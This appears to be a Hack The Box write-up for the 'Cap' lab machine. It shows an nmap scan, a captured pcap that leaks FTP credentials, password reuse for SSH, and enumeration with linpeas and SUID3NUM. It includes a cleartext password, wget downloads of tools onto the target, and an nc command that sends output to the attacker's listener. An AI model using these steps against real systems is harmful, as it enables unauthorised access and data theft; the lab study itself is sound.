Hello and welcome to another of my technical writeups! We have a relatively easy box this time, suitable for beginners who want to approach this world. Let's right jump in with a scan!

The nmap scan.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 12:11 CEST
Nmap scan report for 10.10.10.245
Host is up (0.042s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Thu, 10 Jun 2021 10:23:41 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Thu, 10 Jun 2021 10:23:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Thu, 10 Jun 2021 10:23:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=6/10%Time=60C1E557%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,105F,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Thu,\x2010\x20Jun\x202021\x2010:23:36\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Thu,\x2
SF:010\x20Jun\x202021\x2010:23:36\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20T
SF:hu,\x2010\x20Jun\x202021\x2010:23:41\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.99 seconds

Considering that this is a linux machine, port 21 (ftp), common in these environments, is not normally present (open) in the usual HTB BOXes, unlike the other ports, 22 (ssh) and 80 (http) which are instead a standard. Emanating nostalgia for this protocol, now dated and little used, I immediately try to log in using the classic credentials that once allowed anonymous access to the ftp server, but obviously it does not work.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ ftp          
ftp> open 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:in7rud3r): 
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> close
221 Goodbye.
ftp> open 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:in7rud3r): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> close
221 Goodbye.
ftp> open 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:in7rud3r): anonymous@anonymous.com
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> close
221 Goodbye.
ftp> quit

Okay, let's go ahead and analyze the portal in search of useful information to penetrate the border of the BOX (http://10.10.10.245). The portal is very simple and exposes four simple services accessible from the links contained in the menu.

The "dashboard" (portal home) shows a series of statistical graphs on the status of the machine, the "security snapshot" section allows the download of pcap files (network analysis) containing the traffic of the last period of server activity, the section "ip config" reports the output of the ip command with the two available network cards and finally the "network status" performs a netstat of the machine and displays it.

The wappalyzer plugin installed on my chrome browser shows a substantial list of technologies used, but we will evaluate later if it is appropriate to investigate these in depth too.

Given the name visible at the top of the portal pages, there is a high probability that one of the users of the system is called "nathan". Analyzing the url of the pcap files, I realize that I can specify different values and download much more substantial pcap files (the last one that the system presents is completely empty). The one that is most interesting and rich in information is the first one (http://10.10.10.245/data/0).

Among the network activities, I find a url that the portal does not display, I try to browse it, but nothing emerges, I am redirected to one of the available pcap files.

┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox]
└─$ curl http://10.10.10.245/capture -v
*   Trying 10.10.10.245:80...
* Connected to 10.10.10.245 (10.10.10.245) port 80 (#0)
> GET /capture HTTP/1.1
> Host: 10.10.10.245
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Server: gunicorn
< Date: Thu, 10 Jun 2021 10:54:54 GMT
< Connection: keep-alive
< Content-Type: text/html; charset=utf-8
< Content-Length: 222
< Location: http://10.10.10.245/data/18
< 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host 10.10.10.245 left intact
<p>You should be redirected automatically to target URL: <a href="/data/18">/data/18</a>. If not click the link.   

However, it is towards the end of the file that I find something really useful, an ftp connection complete with user and password and as I expected the username is nathan.

36	4.126500	192.168.196.1	192.168.196.16	FTP	69	Request: USER nathan
40	5.424998	192.168.196.1	192.168.196.16	FTP	78	Request: PASS Buck3tH4TF0RM3!

Well, the next step is really simple.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/dwnld]
└─$ ftp
ftp> open 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:in7rud3r): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxr-x    1 1001     1001        46631 Jan 07  2020 LinEnum.sh
-rwxrwxr-x    1 1001     1001       342868 Jun 11 20:42 linpeas.sh
drwxr-xr-x    3 1001     1001         4096 Jun 11 19:52 snap
-rwxrwxr-x    1 1001     1001           19 Jun 12 03:27 test.sh
-rw-rw-r--    1 1001     1001         1267 Jun 11 20:42 test.txt
drwxrwxr-x    2 1001     1001         4096 Jun 11 23:10 tools
-r--------    1 1001     1001           33 Jun 11 19:42 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.01 secs (3.8484 kB/s)

And it takes us straight to the first flag.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/dwnld]
└─$ cat user.txt                                                     
4******************************6

Ok, since they are there, I also take a look at the other folders, but I think I only find the attacks of other users looking for my own flags (confirmed shortly, where these folders will disappear following a reboot of the machine).

ftp> dir tools
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxr-x    1 1001     1001       342868 Jun 11 20:47 linpeas.sh
226 Directory send OK.
ftp> dir snap
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1001     1001         4096 Jun 11 19:52 lxd
226 Directory send OK.
ftp> dir snap/lxd
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Jun 11 19:52 20326
drwxr-xr-x    2 1001     1001         4096 Jun 11 19:52 common
lrwxrwxrwx    1 1001     1001            5 Jun 11 19:52 current -> 20326
226 Directory send OK.
ftp> dir snap/lxd/common
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> dir snap/lxd/current
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>

A little reluctant to try the connection in ssh (doesn't this machine seem too easy?), I am amazed when the connection is accepted with the same credentials and a shell is at my complete disposal.

┌──(in7rud3r㉿Mykali)-[~]
└─$ ssh nathan@10.10.10.245                                                                                  130 ⨯
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jun 12 08:32:31 UTC 2021

  System load:           0.57
  Usage of /:            34.8% of 8.73GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             257
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.245
  IPv6 address for eth0: dead:beef::250:56ff:feb9:5ddb

  => There is 1 zombie process.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation




The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$

Let's start with the basic simple things.

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.
nathan@cap:~$

Nothing, let's see if the linpeas.sh script can help us. Let's download it on our local machine and make it available through an http web server.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
--2021-06-12 10:23:07--  https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 342868 (335K) [text/plain]
Saving to: ‘linpeas.sh’

linpeas.sh                   100%[=============================================>] 334.83K  --.-KB/s    in 0.1s    

2021-06-12 10:23:08 (3.36 MB/s) - ‘linpeas.sh’ saved [342868/342868]

                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ ls -la
total 344
drwxr-xr-x 2 in7rud3r in7rud3r   4096 Jun 12 10:23 .
drwxr-xr-x 4 in7rud3r in7rud3r   4096 Jun 12 10:22 ..
-rw-r--r-- 1 in7rud3r in7rud3r 342868 Jun 12 10:23 linpeas.sh
                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ php -S 10.10.14.37:8000
[Sat Jun 12 10:23:35 2021] PHP 7.4.15 Development Server (http://10.10.14.37:8000) started

And now we take from the server machine and leave it by saving the output in a file and then download it locally and analyze it for good.

nathan@cap:~/temp$ wget http://10.10.14.37:8000/linpeas.sh
--2021-06-12 08:36:41--  http://10.10.14.37:8000/linpeas.sh
Connecting to 10.10.14.37:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 342868 (335K) [application/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                   100%[=============================================>] 334.83K  1.46MB/s    in 0.2s    

2021-06-12 08:36:41 (1.46 MB/s) - ‘linpeas.sh’ saved [342868/342868]

nathan@cap:~/temp$ chmod +x linpeas.sh 
nathan@cap:~/temp$ ls -la
total 344
drwxrwxr-x 2 nathan nathan   4096 Jun 12 08:36 .
drwxr-xr-x 4 nathan nathan   4096 Jun 12 08:36 ..
-rwxrwxr-x 1 nathan nathan 342868 Jun 12 08:36 linpeas.sh
nathan@cap:~/temp$ linpeas.sh | tee output-lp.txt
[...]

Let's get ready to receive the file locally.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ nc -lp 4445 > output-ls.txt

And let's send it.

nathan@cap:~/temp$ nc -w 3 10.10.14.37 4445 < output-lp.txt 

The output (as usual) is very large and full of information, it is up to us to analyze it and filter for what could be useful for our pentesting activity. I don't find very particular things, but the SUID section seems to be a bit the focal point of the matter.

[...]
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms                                                            
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                      
-rwsr-sr-x 1 daemon daemon           55K Nov 12  2018 /usr/bin/at  --->  RTru64_UNIX_4.0g(CVE-2002-1614)           
                                                                                                                   
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/2066/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/1997/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/2066/usr/bin/passwd  --->  Apple_Mac_OSX(0
3-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                           
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/2066/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2066/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2066/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2066/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2066/bin/su
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/1997/usr/bin/passwd  --->  Apple_Mac_OSX(0
3-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                           
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/1997/usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1997/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1997/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/1997/usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/1997/bin/su
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/2066/bin/ping
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/1997/bin/ping
-rwsr-xr-x 1 root   root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root             23K Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root             31K Aug 16  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-132
72)/rhel_6(CVE-2011-1485)                                                                                          
-rwsr-xr-x 1 root   root             39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root   root             67K May 28  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8
/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                            
-rwsr-xr-x 1 root   root             44K May 28  2020 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root   root             87K May 28  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             52K May 28  2020 /usr/bin/chsh
-rwsr-xr-x 1 root   root             84K May 28  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-- 1 root   messagebus       51K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 11  2020 /snap/core18/2066/usr/lib/dbus-1.0/dbus-daemon-launch-h
elper                                                                                                              
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 11  2020 /snap/core18/1997/usr/lib/dbus-1.0/dbus-daemon-launch-h
elper                                                                                                              
-rwsr-xr-x 1 root   root            109K Jul 10  2020 /snap/snapd/8542/usr/lib/snapd/snap-confine  --->  Ubun
tu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)                                                 
-rwsr-xr-x 1 root   root             39K Jul 21  2020 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root   root             67K Jul 21  2020 /usr/bin/su
-rwsr-xr-x 1 root   root             55K Jul 21  2020 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-16
99.32.7_except_xnu-1699.24.8                                                                                       
-rwsr-xr-x 1 root   root             27K Sep 16  2020 /snap/core18/2066/bin/umount  --->  BSD/Linux(08-1996)
                                                                                                                   
-rwsr-xr-x 1 root   root             43K Sep 16  2020 /snap/core18/2066/bin/mount  --->  Apple_Mac_OSX(Lion)_
Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                                                          
-rwsr-xr-x 1 root   root             27K Sep 16  2020 /snap/core18/1997/bin/umount  --->  BSD/Linux(08-1996)
                                                                                                                   
-rwsr-xr-x 1 root   root             43K Sep 16  2020 /snap/core18/1997/bin/mount  --->  Apple_Mac_OSX(Lion)_
Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                                                          
-rwsr-xr-x 1 root   root            163K Jan 19 14:21 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulne
rable                                                                                                              
-rwsr-xr-x 1 root   root            146K Jan 19 14:36 /snap/core18/2066/usr/bin/sudo  --->  check_if_the_sudo
_version_is_vulnerable                                                                                             
-rwsr-xr-x 1 root   root            146K Jan 19 14:36 /snap/core18/1997/usr/bin/sudo  --->  check_if_the_sudo
_version_is_vulnerable                                                                                             
-rwsr-xr-x 1 root   root            128K Feb  2 08:21 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_di
rty_sock_Local_Privilege_Escalation(CVE-2019-7304)                                                                 
-rwsr-xr-x 1 root   root            463K Mar  9 14:17 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            109K Apr 24 12:05 /snap/snapd/11841/usr/lib/snapd/snap-confine  --->  Ubu
ntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)                                                
[...]

I can't find anything, however, that can raise the privileges, so I decide to try a tool that I discovered a short time ago.

Anon-Exploiter/SUID3NUM
A standalone python script which utilizes python&#39;s built-in modules to enumerate SUID binaries, separate default binaries from custom binaries, cross-match those with bins in GTFO Bin&#39;s rep...

Once again, let's download it and make it available from our machine via the web server.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ wget  https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
--2021-06-12 10:42:17--  https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14975 (15K) [text/plain]
Saving to: ‘suid3num.py’

suid3num.py                  100%[=============================================>]  14.62K  --.-KB/s    in 0.002s  

2021-06-12 10:42:18 (7.18 MB/s) - ‘suid3num.py’ saved [14975/14975]

                                                                                                                   
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.245 - Cap (lin)/attack/ws]
└─$ php -S 10.10.14.37:8000
[Sat Jun 12 10:42:23 2021] PHP 7.4.15 Development Server (http://10.10.14.37:8000) started

Nothing interesting, but maybe I have saved myself a long investigation.

nathan@cap:~/temp$ wget http://10.10.14.37:8000/suid3num.py
--2021-06-12 08:55:29--  http://10.10.14.37:8000/suid3num.py
Connecting to 10.10.14.37:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14975 (15K)
Saving to: ‘suid3num.py’

suid3num.py                  100%[=============================================>]  14.62K  --.-KB/s    in 0.05s   

2021-06-12 08:55:29 (303 KB/s) - ‘suid3num.py’ saved [14975/14975]

nathan@cap:~/temp$ chmod +x suid3num.py 
nathan@cap:~/temp$ chmod -x suid3num.py 
nathan@cap:~/temp$ python3 suid3num.py 
  ___ _   _ _ ___    _____  _ _   _ __  __ 
 / __| | | / |   \  |__ / \| | | | |  \/  |                                                                        
 \__ \ |_| | | |) |  |_ \ .` | |_| | |\/| |                                                                        
 |___/\___/|_|___/  |___/_|\_|\___/|_|  |_|  twitter@syed__umar                                                    
                                                                                                                   
[#] Finding/Listing all SUID Binaries ..                                                                           
------------------------------                                                                                     
/usr/bin/umount                                                                                                    
/usr/bin/newgrp                                                                                                    
/usr/bin/pkexec                                                                                                    
/usr/bin/mount                                                                                                     
/usr/bin/gpasswd                                                                                                   
/usr/bin/passwd                                                                                                    
/usr/bin/chfn                                                                                                      
/usr/bin/sudo                                                                                                      
/usr/bin/at                                                                                                        
/usr/bin/chsh                                                                                                      
/usr/bin/su                                                                                                        
/usr/bin/fusermount                                                                                                
/usr/lib/policykit-1/polkit-agent-helper-1                                                                         
/usr/lib/snapd/snap-confine                                                                                        
/usr/lib/openssh/ssh-keysign                                                                                       
/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                        
/usr/lib/eject/dmcrypt-get-device                                                                                  
/snap/snapd/11841/usr/lib/snapd/snap-confine                                                                       
/snap/snapd/8542/usr/lib/snapd/snap-confine                                                                        
/snap/core18/2066/bin/mount                                                                                        
/snap/core18/2066/bin/ping                                                                                         
/snap/core18/2066/bin/su                                                                                           
/snap/core18/2066/bin/umount                                                                                       
/snap/core18/2066/usr/bin/chfn                                                                                     
/snap/core18/2066/usr/bin/chsh                                                                                     
/snap/core18/2066/usr/bin/gpasswd                                                                                  
/snap/core18/2066/usr/bin/newgrp                                                                                   
/snap/core18/2066/usr/bin/passwd                                                                                   
/snap/core18/2066/usr/bin/sudo                                                                                     
/snap/core18/2066/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                       
/snap/core18/2066/usr/lib/openssh/ssh-keysign                                                                      
/snap/core18/1997/bin/mount                                                                                        
/snap/core18/1997/bin/ping                                                                                         
/snap/core18/1997/bin/su                                                                                           
/snap/core18/1997/bin/umount                                                                                       
/snap/core18/1997/usr/bin/chfn                                                                                     
/snap/core18/1997/usr/bin/chsh                                                                                     
/snap/core18/1997/usr/bin/gpasswd                                                                                  
/snap/core18/1997/usr/bin/newgrp                                                                                   
/snap/core18/1997/usr/bin/passwd                                                                                   
/snap/core18/1997/usr/bin/sudo                                                                                     
/snap/core18/1997/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                       
/snap/core18/1997/usr/lib/openssh/ssh-keysign                                                                      
------------------------------                                                                                     
                                                                                                                   
                                                                                                                   
[!] Default Binaries (Don't bother)                                                                                
------------------------------                                                                                     
/usr/bin/umount                                                                                                    
/usr/bin/newgrp                                                                                                    
/usr/bin/pkexec                                                                                                    
/usr/bin/mount                                                                                                     
/usr/bin/gpasswd                                                                                                   
/usr/bin/passwd                                                                                                    
/usr/bin/chfn                                                                                                      
/usr/bin/sudo                                                                                                      
/usr/bin/at                                                                                                        
/usr/bin/chsh                                                                                                      
/usr/bin/su                                                                                                        
/usr/bin/fusermount                                                                                                
/usr/lib/policykit-1/polkit-agent-helper-1                                                                         
/usr/lib/snapd/snap-confine                                                                                        
/usr/lib/openssh/ssh-keysign                                                                                       
/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                        
/usr/lib/eject/dmcrypt-get-device                                                                                  
/snap/snapd/11841/usr/lib/snapd/snap-confine                                                                       
/snap/snapd/8542/usr/lib/snapd/snap-confine                                                                        
/snap/core18/2066/bin/mount                                                                                        
/snap/core18/2066/bin/ping                                                                                         
/snap/core18/2066/bin/su                                                                                           
/snap/core18/2066/bin/umount                                                                                       
/snap/core18/2066/usr/bin/chfn                                                                                     
/snap/core18/2066/usr/bin/chsh                                                                                     
/snap/core18/2066/usr/bin/gpasswd                                                                                  
/snap/core18/2066/usr/bin/newgrp                                                                                   
/snap/core18/2066/usr/bin/passwd                                                                                   
/snap/core18/2066/usr/bin/sudo                                                                                     
/snap/core18/2066/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                       
/snap/core18/2066/usr/lib/openssh/ssh-keysign                                                                      
/snap/core18/1997/bin/mount                                                                                        
/snap/core18/1997/bin/ping                                                                                         
/snap/core18/1997/bin/su                                                                                           
/snap/core18/1997/bin/umount                                                                                       
/snap/core18/1997/usr/bin/chfn                                                                                     
/snap/core18/1997/usr/bin/chsh                                                                                     
/snap/core18/1997/usr/bin/gpasswd                                                                                  
/snap/core18/1997/usr/bin/newgrp                                                                                   
/snap/core18/1997/usr/bin/passwd                                                                                   
/snap/core18/1997/usr/bin/sudo                                                                                     
/snap/core18/1997/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                       
/snap/core18/1997/usr/lib/openssh/ssh-keysign                                                                      
------------------------------                                                                                     
                                                                                                                   
                                                                                                                   
[~] Custom SUID Binaries (Interesting Stuff)                                                                       
------------------------------                                                                                     
------------------------------                                                                                     
                                                                                                                   
                                                                                                                   
[#] SUID Binaries found in GTFO bins..                                                                             
------------------------------                                                                                     
[!] None :(                                                                                                        
------------------------------                                                                                     
                                                                                                                   
                                                                                                                   
[-] Note                                                                                                           
------------------------------                                                                                     
If you see any FP in the output, please report it to make the script better! :)                                    
------------------------------                                                                                     
                                                                                                                   
nathan@cap:~/temp$ 

